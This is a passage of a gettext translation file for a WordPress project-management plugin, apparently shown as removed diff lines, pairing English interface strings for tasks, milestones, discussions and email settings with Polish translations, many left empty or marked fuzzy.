-msgstr "Projekt nie istnieje" - -#: texts/success_messages.php:87 -msgid "Task marked as done" -msgstr "" - -#: texts/success_messages.php:90 -msgid "Task reopened" -msgstr "" - -#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 -msgid "Every %d Minutes" -msgstr "" - -# @ cpm -#: views/assets/js/library.js:887 views/assets/js/library.js:1099 -#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 -#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 -#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 -#: views/assets/js/pm.js:14773 -#: views/assets/src/components/categories/categories.vue:255 -#: views/assets/src/components/project-discussions/mixin.js:507 -#: views/assets/src/components/project-task-lists/list-comments.vue:111 -#: views/assets/src/components/project-task-lists/mixin.js:382 -#: views/assets/src/components/project-task-lists/mixin.js:602 -#: views/assets/src/components/project-task-lists/task-comments.vue:131 -#, fuzzy -#| msgid "Are you sure?" -msgid "Are you sure!" -msgstr "Czy na pewno?" - -# @ cpm -#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 -#: views/assets/src/helpers/mixin/mixin.js:703 -#: views/assets/vendor/mixin/mixin.js:636 -msgid "Are you sure to delete this project?" -msgstr "Czy na pewno chcesz usunąć ten projekt?" - -#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 -#: views/assets/src/components/common/text-editor.vue:37 -msgid "Write a comment..." -msgstr "" - -#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 -#: views/assets/src/components/project-task-lists/single-task.vue:295 -msgid "Update Description" -msgstr "" - -#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 -#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 -#: views/assets/src/components/project-discussions/comment-form.vue:39 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 -msgid "Add New Comment" -msgstr "" - -#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 -#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 -#: views/assets/src/components/project-discussions/comment-form.vue:40 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 -#: views/emails/html/update-comment.php:12 -msgid "Update Comment" -msgstr "" - -#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 -msgid "textarea" -msgstr "" - -#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 -#: views/assets/js/pm.js:25191 -msgid "form" -msgstr "" - -#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 -#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 -#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 -#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 -#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 -#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 -#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 -#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 -#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 -#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 -#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 -#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 -#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 -#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 -#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 -#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 -#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 -#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 -#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 -#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 -#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 -#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 -#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 -#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 -#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 -#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 -#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 -#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 -#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 -#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 -#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 -#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 -#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 -#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 -#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 -#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 -#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 -msgid "div" -msgstr "" - -#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 -#: views/assets/js/pm.js:23525 -msgid "span" -msgstr "" - -#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 -#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 -#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 -#: views/assets/js/pm.js:33414 -msgid "input" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:2326 -#: views/assets/src/components/project-milestones/mixin.js:316 -#, fuzzy -#| msgid "Are you sure to delete this message?" -msgid "Are you sure! Want to delete this milestones?" -msgstr "Czy na pewno chcesz usunąć tą wiadomość?" - -# @ cpm -#: views/assets/js/pm.js:5999 -#: views/assets/src/components/project-discussions/mixin.js:554 -#, fuzzy -#| msgid "Are you sure to delete this project?" -msgid "Are you sure to delete this comment?" -msgstr "Czy na pewno chcesz usunąć ten projekt?" - -# @ cpm -#: views/assets/js/pm.js:9674 -#: views/assets/src/components/categories/categories.vue:23 -#: views/assets/src/components/categories/categories.vue:212 -#, fuzzy -#| msgid "Add New Message" -msgid "Add New Category" -msgstr "Dodaj nową wiadomość" - -# @ cpm -#: views/assets/js/pm.js:9793 -#: views/assets/src/components/categories/edit-category-form.vue:42 -#, fuzzy -#| msgid "Update Message" -msgid "Update Category" -msgstr "Aktualizacja wiadomości" - -# @ cpm -#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 -#: views/assets/src/components/common/header.vue:81 -#: views/assets/src/components/project-lists/project-summary.vue:165 -#, fuzzy -#| msgid "Project Activity" -msgid "Project Actions" -msgstr "Aktywność projektu" - -#: views/assets/js/pm.js:10314 -#: views/assets/src/components/common/header.vue:110 -msgid "Overview" -msgstr "" - -#: views/assets/js/pm.js:10323 -#: views/assets/src/components/common/header.vue:121 -msgid "Activities" -msgstr "" - -#: views/assets/js/pm.js:10332 -#: views/assets/src/components/common/header.vue:132 -#: views/assets/src/components/project-discussions/discussions.vue:20 -#: views/assets/src/components/project-lists/project-summary.vue:32 -#: views/assets/src/components/project-milestones/completed-milestones.vue:32 -#: views/assets/src/components/project-milestones/late-milestones.vue:39 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 -#: views/assets/src/components/project-overview/overview.vue:31 -msgid "Discussions" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:10341 -#: views/assets/src/components/common/header.vue:143 -#: views/assets/src/components/project-lists/project-summary.vue:48 -#: views/assets/src/components/project-milestones/completed-milestones.vue:23 -#: views/assets/src/components/project-milestones/late-milestones.vue:30 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 -#: views/assets/src/components/project-overview/overview.vue:46 -#: views/assets/src/components/project-task-lists/default-list-page.vue:4 -msgid "Task Lists" -msgstr "Listy zadań" - -# @ cpm -#: views/assets/js/pm.js:10350 -#: views/assets/src/components/common/header.vue:154 -#: views/assets/src/components/project-lists/project-summary.vue:78 -#: views/assets/src/components/project-milestones/milestones.vue:19 -#: views/assets/src/components/project-overview/overview.vue:97 -msgid "Milestones" -msgstr "Kamienie milowe" - -# @ cpm -#: views/assets/js/pm.js:10359 -#: views/assets/src/components/common/header.vue:165 -#: views/assets/src/components/project-lists/project-summary.vue:93 -#: views/assets/src/components/project-overview/overview.vue:82 -msgid "Files" -msgstr "Pliki" - -# @ cpm -#: views/assets/js/pm.js:10975 -#: views/assets/src/components/categories/categories.vue:104 -#: views/assets/src/components/common/header.vue:10 -#: views/assets/src/components/project-discussions/discussions.vue:158 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 -msgid "Edit" -msgstr "Edytuj" - -# @ cpm -#: views/assets/js/pm.js:10976 -#: views/assets/src/components/project-discussions/discussions.vue:159 -msgid "Delete this message" -msgstr "Usuń tą wiadomość" - -#: views/assets/js/pm.js:10977 -#: views/assets/src/components/project-discussions/discussions.vue:160 -msgid "Make it private" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:11351 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 -msgid "Enter message title" -msgstr "Wprowadź tytuł wiadomości" - -# @ cpm -#: views/assets/js/pm.js:11352 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 -msgid "Add Message" -msgstr "Dodaj wiadomość" - -# @ cpm -#: views/assets/js/pm.js:11353 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 -msgid "Update Message" -msgstr "Aktualizacja wiadomości" - -# @ cpm -#: views/assets/js/pm.js:12089 -#: views/assets/src/components/project-lists/header.vue:69 -msgid "Start a new project" -msgstr "Zacznij nowy projekt" - -# @ cpm -#: views/assets/js/pm.js:12190 -#: views/assets/src/components/project-lists/project-create-form.vue:87 -msgid "Name of the project" -msgstr "Nazwa projektu" - -# @ wedevs -#: views/assets/js/pm.js:12191 -#: views/assets/src/components/project-lists/project-create-form.vue:88 -msgid "Some details about the project (optional)" -msgstr "Więcej szczegółów na temat projektu (opcjonalnie)" - -#: views/assets/js/pm.js:12192 -#: views/assets/src/components/project-lists/project-create-form.vue:89 -msgid "Type 3 or more characters to search users..." -msgstr "" - -#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 -#: views/assets/src/components/project-lists/directive.js:75 -#: views/assets/src/components/project-lists/project-create-form.vue:90 -msgid "Create a new user" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:12194 -#: views/assets/src/components/project-lists/project-create-form.vue:91 -msgid "Add New Project" -msgstr "Dodaj nowy projekt" - -# @ cpm -#: views/assets/js/pm.js:12195 -#: views/assets/src/components/project-lists/project-create-form.vue:92 -#: views/emails/html/update-project.php:9 -msgid "Update Project" -msgstr "Aktualizacja projektu" - -#: views/assets/js/pm.js:12536 -#: views/assets/src/components/project-lists/project-new-user-form.vue:43 -msgid "Create User" -msgstr "" - -#: views/assets/js/pm.js:12853 -#: views/assets/src/components/project-lists/project-view.vue:17 -msgid "List View" -msgstr "" - -#: views/assets/js/pm.js:12854 -#: views/assets/src/components/project-lists/project-view.vue:18 -msgid "Grid View" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:12946 -#: views/assets/src/components/project-milestones/action-milestones.vue:33 -msgid "Edit Milestone" -msgstr "Edytuj kamień milowy" - -# @ cpm -#: views/assets/js/pm.js:12947 -#: views/assets/src/components/project-milestones/action-milestones.vue:34 -msgid "Delete milestone" -msgstr "Usuń kamień milowy" - -#: views/assets/js/pm.js:12948 -#: views/assets/src/components/project-milestones/action-milestones.vue:35 -msgid "Mark as incomplete" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:12949 -#: views/assets/src/components/project-milestones/action-milestones.vue:36 -msgid "Mark as complete" -msgstr "Oznacz jako kompletne" - -#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 -#: views/assets/src/components/project-task-lists/new-task-form.vue:112 -msgid "Due Date" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:13572 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 -msgid "Milestone name" -msgstr "Nazwa kamienia milowego" - -# @ cpm -#: views/assets/js/pm.js:13573 -#: views/assets/src/components/project-milestones/milestones.vue:24 -#: views/assets/src/components/project-milestones/milestones.vue:52 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 -msgid "Add Milestone" -msgstr "Dodaj kamień milowy" - -# @ cpm -#: views/assets/js/pm.js:13574 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 -msgid "Update Milestone" -msgstr "Aktualizacja kamienia milowego" - -#: views/assets/js/pm.js:15560 -#: views/assets/src/components/project-task-lists/new-task-form.vue:109 -msgid "Add a new task" -msgstr "" - -#: views/assets/js/pm.js:15561 -#: views/assets/src/components/project-task-lists/new-task-form.vue:110 -msgid "Add extra details about this task (optional)" -msgstr "" - -#: views/assets/js/pm.js:15562 -#: views/assets/src/components/project-task-lists/new-task-form.vue:111 -msgid "Start Date" -msgstr "" - -#: views/assets/js/pm.js:15564 -#: views/assets/src/components/project-task-lists/new-task-form.vue:113 -msgid "Select User" -msgstr "" - -#: views/assets/js/pm.js:15565 -#: views/assets/src/components/project-task-lists/new-task-form.vue:114 -msgid "Update Task" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:15566 -#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 -#: views/assets/src/components/project-task-lists/new-task-form.vue:115 -msgid "Add Task" -msgstr "Dodaj zadanie" - -#: views/assets/js/pm.js:15567 -#: views/assets/src/components/project-task-lists/new-task-form.vue:116 -msgid "Estimated hour to complete the task" -msgstr "" - -#: views/assets/js/pm.js:15928 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 -msgid "Task list name" -msgstr "" - -#: views/assets/js/pm.js:15929 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 -msgid "Task list details" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:15930 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 -msgid "Update List" -msgstr "Aktualizuj listę" - -# @ cpm -#: views/assets/js/pm.js:15931 -#: views/assets/src/components/project-discussions/discussions.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 -msgid "Add List" -msgstr "Dodaj listę" - -# @ cpm -#: views/assets/js/pm.js:16368 -#: views/assets/src/components/project-task-lists/single-list.vue:121 -#, fuzzy -#| msgid "Delete milestone" -msgid "Delete List" -msgstr "Usuń kamień milowy" - -# @ cpm -#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 -#: views/assets/src/components/settings/email.vue:82 -#: views/assets/src/components/settings/general.vue:116 -msgid "Save Changes" -msgstr "Zapisz zmiany" - -#: views/assets/js/pm.js:18015 -#: views/assets/src/components/project-lists/directive.js:74 -msgid "No users found." -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:18540 -#: views/assets/src/components/project-overview/directive.js:9 -msgid "Activity" -msgstr "Aktywność" - -#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 -#: views/assets/js/pm.js:31861 -msgid "ul" -msgstr "" - -#: views/assets/js/pm.js:26597 -msgid "a" -msgstr "" - -#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 -msgid "router-view" -msgstr "" - -#: views/assets/js/pm.js:33541 -msgid "svg" -msgstr "" - -#: views/assets/js/pm.js:33711 -msgid "vue-content-loading" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:27 -#: views/assets/src/components/categories/categories.vue:74 -#: views/assets/src/components/categories/categories.vue:130 -#: views/assets/src/components/categories/edit-category-form.vue:8 -msgid "Name" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:33 -#: views/assets/src/components/categories/categories.vue:79 -#: views/assets/src/components/categories/categories.vue:136 -#: views/assets/src/components/categories/edit-category-form.vue:14 -msgid "Description" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:54 -msgid "Select bulk action" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:56 -#: views/assets/src/components/categories/categories.vue:155 -msgid "Bulk Actions" -msgstr "" - -# @ cpm -#: views/assets/src/components/categories/categories.vue:57 -#: views/assets/src/components/categories/categories.vue:156 -#: views/assets/src/components/common/header.vue:29 -#: views/assets/src/components/project-lists/project-create-form.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:134 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 -msgid "Delete" -msgstr "Usuń" - -# @ cpm -#: views/assets/src/components/categories/categories.vue:69 -#: views/assets/src/components/common/notify-user.vue:7 -msgid "Select all" -msgstr "Wybierz wszystkich" - -#: views/assets/src/components/categories/edit-category-form.vue:5 -msgid "Quick Edit" -msgstr "" - -# @ cpm -# @ wedevs -#: views/assets/src/components/categories/edit-category-form.vue:23 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 -#: views/assets/src/components/project-lists/project-create-form.vue:57 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 -#: views/assets/src/components/project-task-lists/new-task-form.vue:51 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 -msgid "Cancel" -msgstr "Anuluj" - -# @ cpm -#: views/assets/src/components/common/color-picker.vue:9 -#, fuzzy -#| msgid "Select all" -msgid "Select Color" -msgstr "Wybierz wszystkich" - -#: views/assets/src/components/common/color-picker.vue:25 -msgid "Clear" -msgstr "" - -#: views/assets/src/components/common/color-picker.vue:31 -msgid "Close" -msgstr "" - -# @ default -#: views/assets/src/components/common/file-uploader.vue:10 -msgid "Delete File" -msgstr "Usuń plik" - -#: views/assets/src/components/common/file-uploader.vue:16 -msgid "To attach" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:17 -msgid "select files" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:18 -msgid "from your computer." -msgstr "" - -# @ cpm -#: views/assets/src/components/common/header.vue:17 -#: views/assets/src/components/project-lists/project-header-menu.vue:13 -#: views/assets/src/components/project-task-lists/lists.vue:92 -msgid "Completed" -msgstr "Zakończony" - -#: views/assets/src/components/common/header.vue:18 -#: views/assets/src/components/project-task-lists/lists.vue:102 -msgid "Incomplete" -msgstr "" - -#: views/assets/src/components/common/header.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:141 -msgid "Complete" -msgstr "" - -#: views/assets/src/components/common/header.vue:39 -#: views/assets/src/components/project-lists/project-summary.vue:144 -msgid "Restore" -msgstr "" - -# @ cpm -#: views/assets/src/components/common/notify-user.vue:4 -msgid "Notify users" -msgstr "Powiadomienie użytkowników" - -# @ cpm -#: views/assets/src/components/project-activities/activities.vue:46 -#, fuzzy -#| msgid "Load More..." -msgid "Load More ..." -msgstr "Załaduj więcej ..." - -#: views/assets/src/components/project-activities/activities.vue:48 -msgid "No activity fount" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:23 -msgid "" -"Use our built in discussion panel to create an open discussion, a group " -"discussion or a private conversation. Note that the Admin can always " -"moderate these discussions." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:27 -#: views/assets/src/components/project-discussions/discussions.vue:54 -msgid "Add New Discussion" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-discussions/discussions.vue:32 -#: views/assets/src/components/project-discussions/discussions.vue:59 -msgid "Create a new message" -msgstr "Utwórz nową wiadomość" - -#: views/assets/src/components/project-discussions/discussions.vue:38 -msgid "When to use Discussions?" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:41 -msgid "To discuss a work matter privately." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:42 -msgid "To exchange files privately." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:43 -msgid "To discuss in a group." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:44 -msgid "To create an open discussion visible to all." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:68 -msgid "Discussion List" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-discussions/discussions.vue:84 -#: views/assets/src/components/project-discussions/individual-discussions.vue:32 -#: views/assets/src/components/project-task-lists/list-comments.vue:15 -#: views/assets/src/components/project-task-lists/task-comments.vue:15 -#, fuzzy -#| msgid "Body" -msgid "By" -msgstr "Treść" - -#: views/assets/src/components/project-discussions/discussions.vue:88 -#: views/assets/src/components/project-discussions/individual-discussions.vue:35 -#: views/assets/src/components/project-discussions/individual-discussions.vue:77 -#: views/assets/src/components/project-task-lists/list-comments.vue:22 -#: views/assets/src/components/project-task-lists/task-comments.vue:21 -msgid "on" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:110 -#: views/assets/src/components/project-discussions/individual-discussions.vue:61 -#: views/assets/src/components/project-lists/project-summary.vue:104 -#: views/assets/src/components/project-overview/overview.vue:68 -#: views/assets/src/components/project-task-lists/lists.vue:111 -#: views/assets/src/components/project-task-lists/single-task.vue:174 -msgid "Comments" -msgstr "" - -#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 -msgid "- Milestone -" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:36 -msgid "Attached to" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:38 -msgid "by" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:40 -msgid "admin" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-files/files.vue:62 -#, fuzzy -#| msgid "No users found" -msgid "No result found!" -msgstr "Nie znaleziono użytkowników" - -#: views/assets/src/components/project-lists/project-create-form.vue:13 -#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 -msgid "- Project Category -" -msgstr "" - -#: views/assets/src/components/project-lists/project-create-form.vue:50 -msgid "Notify Co-Workers" -msgstr "" - -#: views/assets/src/components/project-lists/project-header-menu.vue:6 -msgid "Active" -msgstr "" - -#: views/assets/src/components/project-lists/project-header-menu.vue:20 -msgid "All" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 -#: views/emails/html/new-project.php:10 -msgid "New Project" -msgstr "Nowy projekt" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:7 -msgid "Username" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:12 -msgid "First Name" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:17 -msgid "Last Name" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:22 -msgid "Email" -msgstr "" - -#: views/assets/src/components/project-lists/project-summary.vue:4 -msgid "No projects found." -msgstr "" - -# @ cpm -#: views/assets/src/components/project-lists/project-summary.vue:63 -#: views/assets/src/components/project-overview/overview.vue:57 -msgid "Tasks" -msgstr "Zadania" - -# @ cpm -#: views/assets/src/components/project-milestones/completed-milestones.vue:3 -msgid "Completed Milestones" -msgstr "Wykonane kamienie milowe" - -# @ cpm -#: views/assets/src/components/project-milestones/completed-milestones.vue:43 -msgid "Completed on:" -msgstr "Zakończony na:" - -# @ cpm -#: views/assets/src/components/project-milestones/late-milestones.vue:3 -msgid "Late Milestones" -msgstr "Opóźnione kamienie milowe" - -#: views/assets/src/components/project-milestones/milestones.vue:21 -msgid "" -"Create a lifecycle of your projects using milestones. Time mark the " -"different stages of your project with multiple milestones and also it will " -"help the assigned people to aim for a date to complete the project according " -"to those steps." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:37 -msgid "When to use Milestones?" -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:40 -msgid "To set a target date for the project overall." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:41 -msgid "To divide a project into several development-time phases." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:42 -msgid "To coordinate projects and assigned persons timely." -msgstr "" - -# @ cpm -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 -msgid "Upcoming Milestones" -msgstr "Nadchodzące kamienie milowe" - -# @ cpm -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 -#, fuzzy -#| msgid "left" -msgid "left -" -msgstr "Lewo" - -#: views/assets/src/components/project-overview/overview.vue:107 -msgid "Last 30 days" -msgstr "" - -#: views/assets/src/components/project-overview/overview.vue:116 -msgid "Users" -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:6 -msgid "" -"You can list all your Tasks in a single discussion using a Task list. Use " -"these lists to divide a project into several sectors, assign co-workers and " -"check progress." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:14 -msgid "When to use Task Lists?" -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:17 -msgid "To partition a project internals." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:18 -msgid "To mark milestone points." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:19 -msgid "To assign people to tasks." -msgstr "" - -#: views/assets/src/components/project-task-lists/list-comments.vue:4 -msgid "Discuss this task list" -msgstr "" - -#: views/assets/src/components/project-task-lists/list-tasks.vue:9 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 -msgid "No tasks found." -msgstr "" - -#: views/assets/src/components/project-task-lists/lists.vue:77 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 -msgid "More Tasks" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 -msgid "New Task List" -msgstr "Nowa lista zadań" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 -msgid "Incomplete Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 -msgid "Completed Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list.vue:29 -msgid "Back to Task Lists" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-task.vue:203 -msgid "Shift+Enter for line break" -msgstr "" - -#: views/assets/src/components/project-task-lists/task-comments.vue:4 -msgid "Discuss this task" -msgstr "" - -# @ cpm -#: views/assets/src/components/settings/email.vue:7 -#: views/assets/src/components/settings/header.vue:9 -msgid "E-Mail Settings" -msgstr "Ustawienia poczty e-mail" - -#: views/assets/src/components/settings/email.vue:12 -msgid "From Email" -msgstr "" - -#: views/assets/src/components/settings/email.vue:20 -msgid "Links in the Email" -msgstr "" - -#: views/assets/src/components/settings/email.vue:25 -msgid "Link to Backend" -msgstr "" - -#: views/assets/src/components/settings/email.vue:28 -msgid "" -"Select where do you want to take the user. Notification emails contain links." -msgstr "" - -# @ cpm -#: views/assets/src/components/settings/email.vue:35 -msgid "E-Mail Type" -msgstr "Typ e-maila" - -# @ cpm -#: views/assets/src/components/settings/email.vue:39 -msgid "HTML Mail" -msgstr "e-mail w HTML" - -# @ cpm -#: views/assets/src/components/settings/email.vue:40 -msgid "Plain Text" -msgstr "e-mail tekstowy" - -#: views/assets/src/components/settings/email.vue:46 -msgid "Send email via Bcc" -msgstr "" - -#: views/assets/src/components/settings/email.vue:52 -msgid "Enable Bcc" -msgstr "" - -#: views/assets/src/components/settings/general.vue:7 -#: views/assets/src/components/settings/header.vue:5 -msgid "General Settings" -msgstr "" - -# @ cpm -#: views/assets/src/components/settings/general.vue:12 -msgid "File Upload Limit" -msgstr "Limit dla przesyłanych plików" - -#: views/assets/src/components/settings/general.vue:16 -msgid "File Size in Megabytes. e.g: 2" -msgstr "" - -#: views/assets/src/components/settings/general.vue:21 -msgid "Projects Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:25 -msgid "-1 for unlimited" -msgstr "" - -#: views/assets/src/components/settings/general.vue:31 -msgid "Task Lists Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:39 -msgid "Incomplete Tasks Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:47 -msgid "Completed Tasks Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:55 -msgid "Project Managing Capability" -msgstr "" - -#: views/assets/src/components/settings/general.vue:65 -#: views/assets/src/components/settings/general.vue:81 -msgid "Select the user roles who can see and manage all projects." -msgstr "" - -#: views/assets/src/components/settings/general.vue:71 -msgid "Project Creation Capability" -msgstr "" - -#: views/emails/html/complete-task.php:12 -msgid "Task status has been changed" -msgstr "" - -#: views/emails/html/complete-task.php:25 -msgid "Changed by" -msgstr "" - -# @ cpm -#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 -#: views/emails/html/update-task.php:24 -#, fuzzy -#| msgid "Due date" -msgid "due date" -msgstr "Termin" - -#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 -#: views/emails/html/update-task.php:29 -msgid "start at" -msgstr "" - -# @ cpm -#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 -#: views/emails/html/update-task.php:46 -msgid "View Task" -msgstr "Zobacz zadanie" - -#: views/emails/html/new-comment.php:12 -msgid "New Comment" -msgstr "" - -#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 -msgid "Commented By" -msgstr "" - -#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 -msgid "On" -msgstr "" - -#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 -#: views/emails/mention.php:47 -msgid "View Comment" -msgstr "" - -# @ cpm -#: views/emails/html/new-message.php:12 -msgid "New Message" -msgstr "Nowa wiadomość" - -#: views/emails/html/new-message.php:19 -msgid "Message Created By" -msgstr "" - -#: views/emails/html/new-message.php:28 -msgid "Title" -msgstr "" - -# @ cpm -#: views/emails/html/new-message.php:49 -msgid "View Message" -msgstr "Zobacz wiadomość" - -#: views/emails/html/new-project.php:16 -msgid "Project Created By" -msgstr "" - -#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 -#: views/emails/mention.php:37 -msgid "Hello" -msgstr "" - -#: views/emails/html/new-project.php:25 -msgid "You are assigned to a new project \"%s\" by %s." -msgstr "" - -#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 